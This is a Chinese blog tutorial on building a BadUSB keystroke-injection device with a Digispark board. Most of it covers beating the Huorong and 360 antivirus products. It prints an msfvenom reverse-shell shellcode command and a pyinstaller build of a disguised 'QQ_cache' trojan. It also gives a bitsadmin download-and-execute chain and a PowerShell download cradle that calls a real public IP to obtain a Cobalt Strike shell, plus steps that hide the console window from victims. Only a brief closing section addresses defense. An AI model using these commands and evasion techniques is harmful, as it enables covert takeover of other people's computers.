前言
最近偶然了解到”BadUSB”,感觉很好玩,试着制作了一个,过程很曲折坎坷。我也尝试去绕过了一些AntiVirus的检测,结果也是比较让自己满意的。接下来的文章我将按照我的思路进行,写一下BadUSB的制作过程,以及遇到的困难和解决办法。(小白文,可能有些基础的东西解释的有点多)
BadUSB原理浅析
在2014年的BlackHat大会上,信息安全专家展示了一种新的网络安全威胁,这种技术被称为BadUSB,该漏洞由Karsten Nohl和Jakob Lell共同发现。在分析BadUSB的原理前,我认为应该先了解一下HID攻击原理。
HID攻击原理
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。
在BadUSB出现之前,利用HID进行攻击的方式一般有两种:USB RUBBER DUCKY和TEENSY。这两种攻击方式,是在BadUSB公布之前,比较流行的两种HID攻击方式。缺陷在于要定制硬件设备,通用性较差。但是BadUSB就不一样了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(比如U盘)。
BadUSB个人理解
通俗一点来解释BadUSB的攻击方式:当BadUSB插入PC后,会模拟出一个虚拟键盘,同时执行我们事先写入到固件中的代码来敲击相应的按键,输入攻击代码从而完成一些恶意行为,如远程下载木马并执行或者强制关机等等(强制关机可能有点捉弄人……)。
U盘的内部构造:
可以看到,U盘大致由两部分组成,一部分是芯片引导程序,一部分是闪存区域。
芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。我们的恶意代码正是写入在固件中,而这部分区域是杀毒软件无法访问的区域,因此大部分杀毒软件是根本无法应对BadUSB攻击的。
我们可以想象这样一个场景,黑客在咖啡厅、机场或者公园的长椅故意放置这种写入了恶意程序的USB硬件,有些人可能会因为好奇捡走这些设备,并迫不及die地插入电脑中想要看看里面有什么宝藏,而这正陷入了黑客设计的陷阱中。这种攻击行为也经常被利用在一些护网行动中,有些红队成员会故意在现场落下一个U盘,被蓝队成员捡走后插入电脑中,成功获得蓝队成员电脑的控制权。
工具准备
1、一台有公网IP的服务器
2、一块淘宝上14块钱购买的Digispark开发板:
3、软件驱动:
下载地址:https://github.com/digistump/DigistumpArduino/releases
4、Arduino IDE(Arduino IDE的安装和配置教程网上很多,这里不再赘述)
5、CobaltStrike
6、Metasploit
Bypass 火绒
vbs编写
关于绕过火绒,我的思路是这样的:首先利用Metasploit生成shellcode,然后编写免杀代码进行免杀生成exe马,接着利用windows的makecab命令来压缩这个exe马为zip,接着把生成的zip放在公网服务器上。插入BadUSB后,程序模拟键盘输入如下内容至microsoft.vbs文件:
1 | set ws=WScript.CreateObject("WScript.Shell") |
接着执行这个vbs文件。那么这段代码的含义是什么呢?
首先创建一个C:\temp1文件夹,接着在公网服务器上下载生成的zip文件至这个文件夹,利用expand解压zip文件得到exe马,然后删除zip文件并执行exe马。
这里有几个问题。首先我为什么会使用bitsadmin来下载文件而非certutil或powershell呢?
原因是bitsadmin下载方式相对于certutil和powershell下载方式来说免杀效果似乎更好。在我的电脑上(已安装火绒杀毒软件)测试,使用certutil下载文件,火绒虽未报警,却会在安全日志中存在记录,而如果利用powershell下载的话则会直接报警:
那么为什么要多此一举的在公网服务器上放置的木马文件是zip文件而不直接是exe马呢?因为直接下载exe的话不论什么下载命令杀毒软件都会直接报警,而如果下载的是zip文件,火绒是不会报警的。并且我们可以直接利用windows自带的解压命令expand来解压该zip文件。
最后一个也是最重要的问题是解压下来的木马文件,也就是木马.exe文件如何做免杀从而绕过火绒或者说大部分杀软呢?
免杀木马编写
1 | import base64 |
生成ShellCode
msfvenom -p windows/x64/meterpreter/reverse\_tcp lhost=vps\_ip lport=vps\_port --encrypt base64 -f c
生成的shellcode直接替换给出的代码中的ShellCode即可。
接着我们利用pyinstaller生成一个exe文件:
pyinstaller -F -i qq.ico QQ\_cache.py
这个木马亲测可绕过360和火绒。因为在我的公网服务器上并没有metasploit,因此上述生成shellcode的操作我是在自己的kali上实现的。因为不太想在公网服务器上下载一个metasploit,因此我利用frp实现了个内网穿透,在自己kali的metasploit上监听1234端口,frp配置如下:
frps.ini:
frpc.ini:
编写Arduino代码
接着就是完成Arduino代码了,这里直接给出代码:
1 |
|
因为之前从未接触过Arduino,因此我在制作时,绝大部分的时间浪费在了编写Arduino代码的部分。这里提一下我遇到的问题吧。
首先是中文输入法所导致的命令输入不成功。解决办法很简单,就是按下CapsLock,因为Windows大小写不敏感。CapsLock键在DigiKeyboard.h库中是57。
接着呢就是DigiKeyboard的一些方法的调用了。其实网上搜索一波DigiKeyboard.h就可以找到源代码:https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h。审计一下源代码就知道了。
用秒表测了一下,插入USB 14秒左右全部命令即可被执行完成,执行完命令后就可以拔出USB了。
接下来请看效果:
https://watch.wave.video/4Ao60qmNYCgQx2ZI
Bypass 360
接着就是艰难的绕过360了。当我满心欢喜地拿着可以绕过火绒的BadUSB来插入装有360的虚拟机的时候,我发现在执行vbs文件的那一步命令的时候360就给我拦住了。寄!
并且360会对bitsadmin命令提出警告,也会对expand解压下载下来的zip文件的操作进行警告。因此360似乎有点难绕(尽管我们上面生成的exe马360也检测不到,但是把它传入到用户的PC上似乎并不是一件易事)。那我们就得换一个思路了,我这里想到的思路是通过powershell执行CobaltStrike的命令来拿到shell。
powershell免杀
我们都知道,各个杀毒软件对于powershell执行命令都做了严格的过滤和限制,因此直接执行powershell命令肯定会被360检测到并弹出警告。这就需要我们进行powershell混淆了。这里直接给出payload:
1 | echo Invoke-Expression(new-object net.webclient).downloadstring('http://43.139.114.127:1235/a') | powershell - |
执行结果如下:
成功绕过360与火绒,上线CS。
编写bat
虽然上面的powershell命令混淆可以绕过360,但是似乎有一个痛点。那就是如果执行powershell后,cmd窗口会一直存在。要是cmd窗口被关掉了,那shell不就白拿了吗?因此我们需要找到一种方法不弹cmd窗口,让受害者难以发现,做到“润物细无声”。这里我找到的方法是跟上面绕过火绒的方法类似,但是不再是编写vbs文件了(因为360对于vbs文件的检测过于严格),而是编写bat文件。bat文件也可以执行系统命令,同时可以添加一些命令让命令行窗口消失,再加上360对于bat文件的检测较为宽松,因此将命令写入bat文件就成了我的首选。
直接给出bat文件内容:
1 | @echo off |
编写Arduino
接着给出Arduino代码:
1 |
|
可以看到这个代码相较Bypass 火绒的来说长了不少,这是因为我遇到了一个难以解决的问题。那就是我似乎不能直接写出下面这行代码:
1 | DigiKeyboard.println("MODE CON: cols=16 lines=1 && color fe"); |
当我的代码中有这一行的时候无法烧录成功(但是我在上面绕过火绒部分写的Arduino代码却可以直接写这一行代码)。因此我找到了DigiKeyboard.h的按键对照表:https://bobmckay.com/wp-content/uploads/2022/07/Hut1_12v2.pdf。在文件的第53页开始,写了每个按键相对应的数字,利用sendKeyStroke方法调用。
代码虽然长,但是实际在命令行中输入的代码也并未增多。
以下是演示效果:
https://watch.wave.video/MnKvDgds25bwtIoc
防御
在原理分析中提到,恶意代码写入在设备初始化固件中,而不是通过autorun.inf等媒体自动播放文件进行控制,因此无法通过禁用媒体自动播放进行防御,并且这部分区域是杀毒软件无法访问的区域, 所以杀毒软件更是无法检测设备固件中的恶意代码。
因为无法阻止电脑识别键盘、鼠标或U盘此类HID设备,所以目前仍然没有什么有效的技术手段去防御BadUSB。尽管360安全卫士已经开发出所谓的防御BadUSB的功能——“变形虫防护”了,但在我在本地尝试这个功能时仍然可以get shell。
因此面对这种攻击,我们只能提高自身的安全意识,不因为好奇心而去乱插可疑的U盘。
总结
个人认为只有拥有基础的安全知识,那么BadUSB的制作还是比较简单的,对于我而言最复杂的可能就是编写Arduino代码那部分了。同时也是第一次使用DigiKeyboard.h库,因此查阅了不少资料。不过这次制作完成之后,也算入了Arduino的门了,希望以后可以用Arduino写出一些好玩的东西吧。








